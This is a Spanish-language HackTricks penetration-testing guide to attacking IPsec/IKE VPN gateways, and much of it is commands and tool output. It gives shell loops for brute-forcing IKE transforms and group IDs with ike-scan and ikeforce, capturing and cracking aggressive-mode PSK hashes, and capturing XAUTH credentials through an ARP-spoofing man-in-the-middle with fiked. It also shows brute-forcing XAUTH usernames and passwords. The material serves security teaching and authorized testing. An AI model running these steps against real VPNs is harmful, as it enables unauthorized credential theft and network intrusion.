hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

# Información Básica

IPsec es la tecnología más comúnmente utilizada tanto para soluciones VPN empresariales de gateway a gateway (LAN a LAN) como de host a gateway (acceso remoto).

**IKE es un tipo de implementación de ISAKMP** (Protocolo de Gestión de Claves de Asociación de Seguridad de Internet), que es un marco para la autenticación y el intercambio de claves. IKE establece la asociación de seguridad (SA) entre dos puntos finales a través de un proceso de tres fases:

* **Fase 1:** Establece un canal seguro entre 2 puntos finales utilizando una clave precompartida (PSK) o certificados. Puede utilizar el modo principal (3 pares de mensajes) o el **modo agresivo**.
* **Fase 1.5:** Esto es opcional, se llama Fase de Autenticación Extendida y autentica al usuario que intenta conectarse (usuario+contraseña).
* **Fase 2:** Negocia el parámetro para la seguridad de los datos utilizando ESP y AH. Puede utilizar un algoritmo diferente al utilizado en la fase 1 (Secreto Directo Perfecto (PFS)).

**Puerto predeterminado:** 500/udp

# **Descubrir** el servicio utilizando nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
# **Encontrar una transformación válida**

La configuración de IPSec puede estar preparada para aceptar solo una o algunas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene un número de atributos como DES o 3DES como el algoritmo de **encriptación**, SHA o MD5 como el algoritmo de **integridad**, una clave precompartida como el tipo de **autenticación**, Diffie-Hellman 1 o 2 como el algoritmo de **distribución de claves** y 28800 segundos como el **tiempo de vida**.

Entonces, lo primero que debes hacer es **encontrar una transformación válida**, para que el servidor hable contigo. Para hacerlo, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal, y envía un paquete a la puerta de enlace con un encabezado ISAKMP y una sola propuesta con **ocho transformaciones dentro de ella**.

Dependiendo de la respuesta, puedes obtener información sobre el punto final:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
    HDR=(CKY-R=d90bf054d6b76401)
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
 
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Como se puede ver en la respuesta anterior, hay un campo llamado **AUTH** con el valor **PSK**. Esto significa que la VPN está configurada utilizando una clave precompartida (y esto es realmente bueno para un pentester).\
**El valor de la última línea también es muy importante:**

* _0 handshake devuelto; 0 notificación devuelta:_ Esto significa que el objetivo **no es una puerta de enlace IPsec**.
* _**1 handshake devuelto; 0 notificación devuelta:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y una o más de las transformaciones que propusiste son aceptables** (se mostrará una transformación válida en la salida).
* _0 handshake devuelto; 1 notificación devuelta:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguna de las transformaciones es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).

Entonces, en este caso, ya tenemos una transformación válida, pero si se encuentra en el tercer caso, entonces es necesario **hacer un poco de fuerza bruta para encontrar una transformación válida:**

En primer lugar, es necesario crear todas las transformaciones posibles:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
Y luego hacer fuerza bruta en cada uno usando ike-scan (esto puede tardar varios minutos):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiendo sin apretones de manos incluso a transformaciones válidas. Entonces, podrías intentar el mismo ataque de fuerza bruta pero usando el modo agresivo:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Con suerte, **se devolverá una transformación válida**.\
Puede intentar **el mismo ataque** utilizando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
También podría intentar forzar las transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)

En **DH Group: 14 = 2048-bit MODP** y **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (en este caso). El formato --trans es $Enc,$Hash,$Auth,$DH**

Cisco recomienda evitar especialmente los grupos DH 1 y 2. Los autores del artículo describen cómo es probable que los estados nación puedan descifrar sesiones IPsec negociadas utilizando grupos débiles a través de la precomputación de log discreto. Los cientos de millones de dólares gastados en la precomputación se amortizan a través de la descifrado en tiempo real de cualquier sesión que utilice un grupo débil (de 1.024 bits o menos).

## Fingerprinting del servidor

Luego, se puede usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de reproducirla. Luego, **analiza** la **diferencia de tiempo** entre los mensajes recibidos del servidor y el patrón de respuesta coincidente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la carga útil opcional **Vendor ID (VID) payload** con IKE.

**Especifique la transformación válida si es necesario** (usando --trans)

Si IKE descubre quién es el proveedor, lo imprimirá:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
    HDR=(CKY-R=4f3ec84731e2214a)
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
 
IKE Backoff Patterns:
 
IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator
 
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Esto también se puede lograr con el script de nmap _**ike-version**_

# Encontrando el ID correcto (nombre del grupo)

Para poder capturar el hash necesitas una transformación válida que soporte el modo Agresivo y el ID correcto (nombre del grupo). Probablemente no sepas el nombre del grupo válido, por lo que tendrás que hacer un ataque de fuerza bruta.\
Para hacerlo, te recomiendo 2 métodos:

## Ataque de fuerza bruta del ID con ike-scan

En primer lugar, intenta hacer una solicitud con un ID falso tratando de recopilar el hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, esto significa que se enviará de vuelta un hash falso para una ID falsa, por lo que este método no será confiable** para hacer fuerza bruta en la ID. Por ejemplo, se podría devolver un hash falso (esto sucede en versiones modernas):

![](<../.gitbook/assets/image (110).png>)

Pero si, como he dicho, no se devuelve ningún hash, entonces deberías intentar hacer fuerza bruta en nombres de grupo comunes usando ike-scan.

Este script **intentará hacer fuerza bruta en posibles IDs** y devolverá las IDs donde se devuelve un handshake válido (esto será un nombre de grupo válido).

Si has descubierto una transformación específica, añádela al comando de ike-scan. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).

Puedes usar el [diccionario de ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [el de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nombres de grupo comunes para hacer fuerza bruta en ellos:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
## Fuerza bruta de ID con Iker

[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para hacer fuerza bruta de posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.

## Fuerza bruta de ID con ikeforce

[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede utilizar para **hacer fuerza bruta de IDs también**. Esta herramienta intentará **explotar diferentes vulnerabilidades** que podrían ser utilizadas para **distinguir entre un ID válido y uno no válido** (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método de ike-scan si es posible).

Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para comprobar el comportamiento del servidor y determinar la táctica a utilizar.

* El **primer método** es hacer fuerza bruta de los nombres de grupo **buscando** la información **Dead Peer Detection DPD** de los sistemas Cisco (esta información sólo es respondida por el servidor si el nombre de grupo es correcto).

* El **segundo método** disponible es **comprobar el número de respuestas enviadas a cada intento** porque a veces se envían más paquetes cuando se utiliza el ID correcto.

* El **tercer método** consiste en **buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto**.

* Finalmente, si el servidor no responde nada a las comprobaciones, **ikeforce** intentará hacer fuerza bruta del servidor y comprobar si cuando se envía el ID correcto el servidor responde con algún paquete.\
  Obviamente, el objetivo de hacer fuerza bruta del ID es obtener el **PSK** cuando se tiene un ID válido. Entonces, con el **ID** y el **PSK** tendrás que hacer fuerza bruta del XAUTH (si está habilitado).

Si has descubierto una transformación específica, añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
## Sniffing ID

También es posible obtener nombres de usuario válidos mediante el sniffing de la conexión entre el cliente VPN y el servidor, ya que el primer paquete de modo agresivo que contiene la ID del cliente se envía en claro (según el libro **Network Security Assessment: Know Your Network**).

![](<../.gitbook/assets/image (111).png>)

# Capturando y crackeando el hash

Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo**, y si se permite el **modo agresivo**, entonces puedes obtener fácilmente el hash crackeable:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
El hash se guardará dentro de _hash.txt_.

Puedes usar **psk-crack**, **john** (usando [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) y **hashcat** para **descifrar** el hash:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
# **XAuth**

La mayoría de las implementaciones utilizan **modo agresivo IKE con PSK para realizar la autenticación de grupo**, y **XAUTH para proporcionar autenticación adicional de usuario** (a través de Microsoft Active Directory, RADIUS o similar). Dentro de **IKEv2**, **EAP reemplaza XAUTH** para autenticar a los usuarios.

## MitM de red local para capturar credenciales

Para capturar los datos del inicio de sesión se puede utilizar _fiked_ y ver si hay algún nombre de usuario predeterminado (es necesario redirigir el tráfico IKE a `fiked` para el sniffing, lo que se puede hacer con la ayuda de ARP spoofing, [más información](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final VPN y capturará las credenciales XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Además, utilizando IPSec, intenta realizar un ataque de MitM y bloquea todo el tráfico al puerto 500. Si el túnel IPSec no se puede establecer, tal vez el tráfico se envíe en claro.

## Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce

Para realizar una fuerza bruta de **XAUTH** (cuando se conoce un nombre de grupo válido **id** y el **psk**), se puede utilizar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
De esta manera, ikeforce intentará conectarse utilizando cada combinación de usuario:contraseña.

Si encontraste una o varias transformaciones válidas, úsalas como en los pasos anteriores.

# Autenticación con una VPN IPSEC

En Kali se utiliza **VPNC** para establecer túneles IPsec. Los **perfiles** deben estar ubicados en **_/etc/vpnc/_** y puedes utilizar la herramienta _**vpnc**_ para llamarlos.\
Ejemplo tomado del libro **Network Security Assessment 3rd Edition**:
```
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
IPSec gateway 10.0.0.250
IPSec ID vpntest
IPSec secret groupsecret123
IKE Authmode psk
Xauth username chris
Xauth password tiffers1
STOP
root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0
```
# Material de Referencia

* [Artículo sobre cracking de PSK](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Escaneando una implementación de VPN](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)

# Shodan

* `port:500 IKE`


<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Mira los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!

- Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)

- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)

- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>